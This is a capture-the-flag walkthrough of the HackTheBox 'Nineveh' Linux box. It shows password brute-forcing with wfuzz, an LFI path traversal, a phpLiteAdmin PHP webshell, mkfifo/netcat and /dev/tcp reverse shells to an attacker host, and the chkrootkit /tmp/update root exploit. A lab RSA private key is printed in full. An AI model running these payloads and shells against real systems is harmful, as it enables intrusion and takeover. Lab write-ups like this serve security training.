Nineveh
A medium Linux box from HackTheBox, get initial access by abusing an RFI, then escalate by exploiting chkrootkit to execute a script as root and send us a reverse shell.
Recon
Run the usual nmap
sudo nmap -sC -sV -Pn -oA nmap/init 10.10.10.43
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after: 2018-07-01T15:03:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.18 (Ubuntu)
Then run a gobuster in the background while I check out the site
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 40 --url http://10.10.10.43 -k -x php
Seems like there are different pages on the http and https addresses
On port 80 there is a default “It works!” page
Then on 443 there is an image
The http gobuster returns
/info.php (Status: 200) [Size: 83694]
/server-status (Status: 403) [Size: 299]
/department (Status: 301) [Size: 315][--> http://10.10.10.43/department/]
And also start a gobuster for the https site
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 40 --url https://10.10.10.43 -k -x php
And find a /db/ endpoint
/db (Status: 301) [Size: 309] [--> https://10.10.10.43/db/]
As it stands, have “two” sites
HTTP
- /department/ HTTPS
- /db/
Starting with HTTP, got to 10.10.10.43/department/ and get greeted by what looks like a custom login page
Try a couple default credentials, admin:admin, root:root, etc
See that we can enumerate real users as the site returns different messages for incorrect username vs incorrect password
When trying the “admin” user
When trying the “root” user
Since we know the admin user exists, can try to bruteforce their password
Exploitation
Knowing that the username is admin, set up a bruteforce attack on the login page
fuzz -c -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -d "username=admin&password=FUZZ" --hh 1639 -H "Cookie: PHPSESSID=rjkbsd18pqtjkv6pk9dfr1rkh7" -u http://10.10.10.43/department/login.php
Target: http://10.10.10.43/department/login.php
Total requests: 14344392
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000004552: 302 59 L 113 W 1706 Ch "1q2w3e4r5t"
And guess the password to be “1q2w3e4r5t”
On login, are greeted with a “notes” page
This URL includes the path to the file directly, so might be vulnerable to LFI, trying some different methods, eventually get LFI with
http://10.10.10.43/department/manage.php?notes=files/ninevehNotes/../../../../../../etc/passwd
Fishing for some apache log files in /var/log/apache2, get a permission denied error returned, so can’t do log poisoning and need to find another way of getting a file on the victim
Looking to the HTTPS site on https://10.10.10.43/db/, see a phpLiteAdmin login screen
Using searchsploit, see that there is a possibility of creating a database file if we are logged in, potentially making our LFI useful
So, boot up wfuzz again to brute this password
wfuzz -c -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -d "password=FUZZ&remember=yes&login=Log+In&proc_login=true" -H "Cookie: PHPSESSID=rjkbsd18pqtjkv6pk9dfr1rkh7" -u https://10.10.10.43/db/index.php -t 20 --hh 11352
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://10.10.10.43/db/index.php
Total requests: 14344392
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000289: 200 483 L 958 W 11351 Ch "adidas"
000000527: 200 483 L 958 W 11351 Ch "soccer1"
000001082: 200 483 L 958 W 11351 Ch "amormio"
000001115: 200 483 L 958 W 11351 Ch "taylor1"
000001384: 200 483 L 1112 W 13948 Ch "password123"
And get a correct password of “password123”
On login, follow the exploit I found with
searchsploit phpLite
PHPLiteAdmin 1.9.3 - Remote PHP Code Injection | php/webapps/24044.txt
searchsploit -m php/webapps/24044.txt && cat 24044.txt
Description:
phpliteadmin.php#1784: 'Creating a New Database' =>
phpliteadmin.php#1785: 'When you create a new database, the name you entered will be appended with the appropriate file extension (.db, .db3, .sqlite, etc.) if you do not include it yourself. The database will be created in the directory you specified as the $directory variable.',
An Attacker can create a sqlite Database with a php extension and insert PHP Code as text fields. When done the Attacker can execute it simply by access the database file with the Webbrowser.
Proof of Concept:
1. We create a db named "hack.php".
(Depending on Server configuration sometimes it will not work and the name for the db will be "hack.sqlite". Then simply try to rename the database / existing database to "hack.php".)
The script will store the sqlite database in the same directory as phpliteadmin.php.
Preview: http://goo.gl/B5n9O
Hex preview: http://goo.gl/lJ5iQ
2. Now create a new table in this database and insert a text field with the default value:
<?php phpinfo()?>
Hex preview: http://goo.gl/v7USQ
3. Now we run hack.php
The exploit consists of creating a database with the .php extension, I chose shell.php
Then adding a table to it with the php you want to execute, in my case a webshell
The webshell being the regular one-liner
<?php system($_REQUEST["cmd"]); ?>
Then hitting create, and noting the location of the file, /var/tmp/shell.php
Now back to the custom site where we have LFI, can navigate to this webshell by going to the URL
http://10.10.10.43/department/manage.php?notes=files/ninevehNotes/../../../../../../var/tmp/shell.php&cmd=id
And see the “id” command execute
Now, upgrade to a reverse shell with the encoded payload
kali> urlencode "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc KALI_IP 4444 >/tmp/f"
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.5%204444%20%3E%2Ftmp%2Ff
Start a listener on 4444 and send the payload to catch the shell
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.43] 58736
/bin/sh: 0: can't access tty; job control turned off
whoami
www-data
$
Now upgrade to a fully interactive tty
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@nineveh:/var/www/html/department$ export TERM=xterm
CTRL+Z
kali> stty raw -echo; fg
Now can start enumerating under the www-data user
Transferring and running linpeas.sh, note the active ports, port 22 wasn’t listed as being open on the initial nmap scan, yet the box is listening on it
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
And there is an SSH key in an image? Maybe potential steg
══╣ Possible private SSH keys were found!
/var/www/ssl/secure_notes/nineveh.png
There is also a knockd file present, maybe some kind of port knocking?
╔══════════╣ Analyzing Knockd Files (limit 70)
-rwxr-xr-x 1 root root 1572 Mar 25 2009 /etc/init.d/knockd
#! /bin/sh
### BEGIN INIT INFO
# Provides: knockd
# Required-Start: $network $syslog
# Required-Stop: $network $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: port-knock daemon
### END INIT INFO
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/sbin/knockd
NAME=knockd
PIDFILE=/var/run/$NAME.pid
DEFAULTS_FILE=/etc/default/knockd
DESC="Port-knock daemon"
OPTIONS=" -d"
umask 0037
test -f $DAEMON || exit 0
set -e
[ -f $DEFAULTS_FILE ] && . $DEFAULTS_FILE
. /lib/lsb/init-functions
[ "$KNOCKD_OPTS" ] && OPTIONS="$OPTIONS $KNOCKD_OPTS"
start_if_configured() {
if [ $START_KNOCKD -ne 1 ]; then
log_warning_msg "$NAME disabled: not starting. To enable it edit $DEFAULTS_FILE"
exit 0
else
log_daemon_msg "Starting $DESC" "$NAME"
if ! START_ERROR=`start-stop-daemon --start --oknodo --quiet --exec $DAEMON -- $OPTIONS 2>&1`; then
# don't fail the upgrade if it fails to start
echo -n " "
log_action_end_msg 1 "$START_ERROR"
exit 0
else
log_end_msg 0
fi
fi
}
case "$1" in
start)
start_if_configured
;;
stop)
log_daemon_msg "Stopping $DESC" "$NAME"
start-stop-daemon --stop --oknodo --quiet --exec $DAEMON
log_end_msg 0
;;
restart|reload|force-reload)
log_daemon_msg "Stopping $DESC" "$NAME"
start-stop-daemon --stop --oknodo --quiet --exec $DAEMON
log_end_msg 0
sleep 1
start_if_configured
;;
*)
log_warning_msg "Usage: $0 {start|stop|restart|reload|force-reload}" >&2
exit 1
;;
esac
exit 0
Looking at the detected SSH key first, copy the /var/www/ssl/secure_notes/nineveh.png to the local kali machine, then just cat it to see what the linpeas found, and at the end find an SSH key in plaintext
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAri9EUD7bwqbmEsEpIeTr2KGP/wk8YAR0Z4mmvHNJ3UfsAhpI
H9/Bz1abFbrt16vH6/jd8m0urg/Em7d/FJncpPiIH81JbJ0pyTBvIAGNK7PhaQXU
PdT9y0xEEH0apbJkuknP4FH5Zrq0nhoDTa2WxXDcSS1ndt/M8r+eTHx1bVznlBG5
FQq1/wmB65c8bds5tETlacr/15Ofv1A2j+vIdggxNgm8A34xZiP/WV7+7mhgvcnI
3oqwvxCI+VGhQZhoV9Pdj4+D4l023Ub9KyGm40tinCXePsMdY4KOLTR/z+oj4sQT
X+/1/xcl61LADcYk0Sw42bOb+yBEyc1TTq1NEQIDAQABAoIBAFvDbvvPgbr0bjTn
KiI/FbjUtKWpWfNDpYd+TybsnbdD0qPw8JpKKTJv79fs2KxMRVCdlV/IAVWV3QAk
FYDm5gTLIfuPDOV5jq/9Ii38Y0DozRGlDoFcmi/mB92f6s/sQYCarjcBOKDUL58z
GRZtIwb1RDgRAXbwxGoGZQDqeHqaHciGFOugKQJmupo5hXOkfMg/G+Ic0Ij45uoR
JZecF3lx0kx0Ay85DcBkoYRiyn+nNgr/APJBXe9Ibkq4j0lj29V5dT/HSoF17VWo
9odiTBWwwzPVv0i/JEGc6sXUD0mXevoQIA9SkZ2OJXO8JoaQcRz628dOdukG6Utu
Bato3bkCgYEA5w2Hfp2Ayol24bDejSDj1Rjk6REn5D8TuELQ0cffPujZ4szXW5Kb
ujOUscFgZf2P+70UnaceCCAPNYmsaSVSCM0KCJQt5klY2DLWNUaCU3OEpREIWkyl
1tXMOZ/T5fV8RQAZrj1BMxl+/UiV0IIbgF07sPqSA/uNXwx2cLCkhucCgYEAwP3b
vCMuW7qAc9K1Amz3+6dfa9bngtMjpr+wb+IP5UKMuh1mwcHWKjFIF8zI8CY0Iakx
DdhOa4x+0MQEtKXtgaADuHh+NGCltTLLckfEAMNGQHfBgWgBRS8EjXJ4e55hFV89
P+6+1FXXA1r/Dt/zIYN3Vtgo28mNNyK7rCr/pUcCgYEAgHMDCp7hRLfbQWkksGzC
fGuUhwWkmb1/ZwauNJHbSIwG5ZFfgGcm8ANQ/Ok2gDzQ2PCrD2Iizf2UtvzMvr+i
tYXXuCE4yzenjrnkYEXMmjw0V9f6PskxwRemq7pxAPzSk0GVBUrEfnYEJSc/MmXC
iEBMuPz0RAaK93ZkOg3Zya0CgYBYbPhdP5FiHhX0+7pMHjmRaKLj+lehLbTMFlB1
MxMtbEymigonBPVn56Ssovv+bMK+GZOMUGu+A2WnqeiuDMjB99s8jpjkztOeLmPh
PNilsNNjfnt/G3RZiq1/Uc+6dFrvO/AIdw+goqQduXfcDOiNlnr7o5c0/Shi9tse
i6UOyQKBgCgvck5Z1iLrY1qO5iZ3uVr4pqXHyG8ThrsTffkSVrBKHTmsXgtRhHoc
il6RYzQV/2ULgUBfAwdZDNtGxbu5oIUB938TCaLsHFDK6mSTbvB/DywYYScAWwF7
fw4LVXdQMjNJC3sn3JaqY1zJkE4jXlZeNQvCx4ZadtdJD9iO+EUG
-----END RSA PRIVATE KEY-----
Bit of a weak steg attempt but whatever :)
Now its pretty clear that we need to use port knocking to open port 22 and connect via SSH
Can also guess the user, based on the contents of /etc/passwd - its likely “amrois”, the only user with a home directory
...
amrois:x:1000:1000:,,,:/home/amrois:/bin/bash
...
www-data@nineveh:/tmp$ ls /home
amrois
www-data@nineveh:/tmp$
Before trying to do port knocking, I just uploaded the SSH key to the /tmp directory, and tried to SSH in from localhost and it worked! (Dont forget to “chmod 600 ssh_key” before connecting)
www-data@nineveh:/tmp$ ssh -i ssh_key amrois@127.0.0.1
Could not create directory '/var/www/.ssh'.
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:aWXPsULnr55BcRUl/zX0n4gfJy5fg29KkuvnADFyMvk.
Are you sure you want to continue connecting (yes/no)? yes
yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
Ubuntu 16.04.2 LTS
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
287 packages can be updated.
206 updates are security updates.
You have mail.
Last login: Mon Jul 3 00:19:59 2017 from 192.168.0.14
amrois@nineveh:~$ whoami
amrois
amrois@nineveh:~$
Now can start enumerating the box as this user, after running linpeas again, it shows a curious /report directory and a /usr/sbin/report-reset.sh script
amrois@nineveh:/report$ crontab -l
crontab -l
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow command
*/10 * * * * /usr/sbin/report-reset.sh
Cat the script, and it just removes some files with no special permissions
amrois@nineveh:/report$ ls -la /usr/sbin/report-reset.sh
ls -la /usr/sbin/report-reset.sh
-rwxr-x--- 1 amrois amrois 34 Jul 2 2017 /usr/sbin/report-reset.sh
amrois@nineveh:/report$ cat /usr/sbin/report-reset.sh
#!/bin/bash
rm -rf /report/*.txt
Since this removes reports, what’s generating them?
To check what is being run over time, can use pspy, transfer the release binaries to the machine, and run it
amrois@nineveh:/tmp$ ./pspy
2022/09/21 14:00:03 CMD: UID=0 PID=25536 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25542 |
2022/09/21 14:00:03 CMD: UID=0 PID=25545 | grep -E c
2022/09/21 14:00:03 CMD: UID=0 PID=25544 |
2022/09/21 14:00:03 CMD: UID=0 PID=25543 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25550 | grep -E c
2022/09/21 14:00:03 CMD: UID=0 PID=25549 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25548 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25552 | /usr/bin/find /tmp /var/tmp -name *.php
2022/09/21 14:00:03 CMD: UID=0 PID=25558 | grep -E #!.*php
2022/09/21 14:00:03 CMD: UID=0 PID=25557 | /usr/bin/find /tmp /var/tmp -type f -exec head -n 1 {} ;
2022/09/21 14:00:03 CMD: UID=0 PID=25556 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25564 | /usr/bin/find /tmp /var/tmp -type f -exec head -n 1 {} ;
2022/09/21 14:00:03 CMD: UID=0 PID=25567 | head -n 1 /var/tmp/test
2022/09/21 14:00:03 CMD: UID=0 PID=25570 | grep -E c
2022/09/21 14:00:03 CMD: UID=0 PID=25569 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25568 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25573 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25575 | grep -E (^|[^A-Za-z0-9_])asp([^A-Za-z0-9_]|$)
2022/09/21 14:00:03 CMD: UID=0 PID=25574 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25579 |
2022/09/21 14:00:03 CMD: UID=0 PID=25583 | grep -E (^|[^A-Za-z0-9_])bindshell([^A-Za-z0-9_]|$)
2022/09/21 14:00:03 CMD: UID=0 PID=25582 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25590 | /bin/sed s/|/ /g
2022/09/21 14:00:03 CMD: UID=0 PID=25589 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25588 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25593 | grep -E [.:]114[^0-9.:]
2022/09/21 14:00:03 CMD: UID=0 PID=25592 | grep -E ^tcp.*LIST|^udp
2022/09/21 14:00:03 CMD: UID=0 PID=25591 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25596 | grep -E [.:]145[^0-9.:]
2022/09/21 14:00:03 CMD: UID=0 PID=25595 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25594 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25602 | /bin/sh /bin/egrep [.:]511[^0-9.:]
2022/09/21 14:00:03 CMD: UID=0 PID=25601 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25600 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25605 | grep -E [.:]600[^0-9.:]
2022/09/21 14:00:03 CMD: UID=0 PID=25604 | grep -E ^tcp.*LIST|^udp
2022/09/21 14:00:03 CMD: UID=0 PID=25603 | /bin/netstat -an
2022/09/21 14:00:03 CMD: UID=0 PID=25608 | grep -E [.:]1008[^0-9.:]
2022/09/21 14:00:03 CMD: UID=0 PID=25607 | grep -E ^tcp.*LIST|^udp
2022/09/21 14:00:03 CMD: UID=0 PID=25606 |
2022/09/21 14:00:03 CMD: UID=0 PID=25611 | grep -E [.:]1524[^0-9.:]
2022/09/21 14:00:03 CMD: UID=0 PID=25610 | grep -E ^tcp.*LIST|^udp
2022/09/21 14:00:03 CMD: UID=0 PID=25609 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25614 | grep -E [.:]1999[^0-9.:]
2022/09/21 14:00:03 CMD: UID=0 PID=25613 | grep -E ^tcp.*LIST|^udp
2022/09/21 14:00:03 CMD: UID=0 PID=25612 |
2022/09/21 14:00:03 CMD: UID=0 PID=25620 | /bin/sh /bin/egrep [.:]2881[^0-9.:]
2022/09/21 14:00:03 CMD: UID=0 PID=25619 | /bin/sh /usr/bin/chkrootkit
2022/09/21 14:00:03 CMD: UID=0 PID=25618 | /bin/sh /usr/bin/chkrootkit
And see a bunch of chkrootkit commands running, a binary that checks for rootkits on the local system
Checking for any exploits with it
kali> searchsploit chkrootkit
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
Chkrootkit - Local Privilege Escalation (Metasploit) | linux/local/38775.rb
Chkrootkit 0.49 - Local Privilege Escalation | linux/local/33899.txt
Looking at the exploit
searchsploit -x linux/local/33899.txt
...
Steps to reproduce:
- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)
Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.
...
So lets do just that, make an executable bash script that sends a reverse shell back to the kali machine named “update” and place it in /tmp
#!/bin/bash
bash -i >& /dev/tcp/KALI_IP/8080 0>&1
Start a listener on 8080, then change permissions to executable on the update file
amrois@nineveh:/tmp$ chmod +x update
And get root!
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.43] 50756
bash: cannot set terminal process group (5964): Inappropriate ioctl for device
bash: no job control in this shell
root@nineveh:~# whoami
root
root@nineveh:~#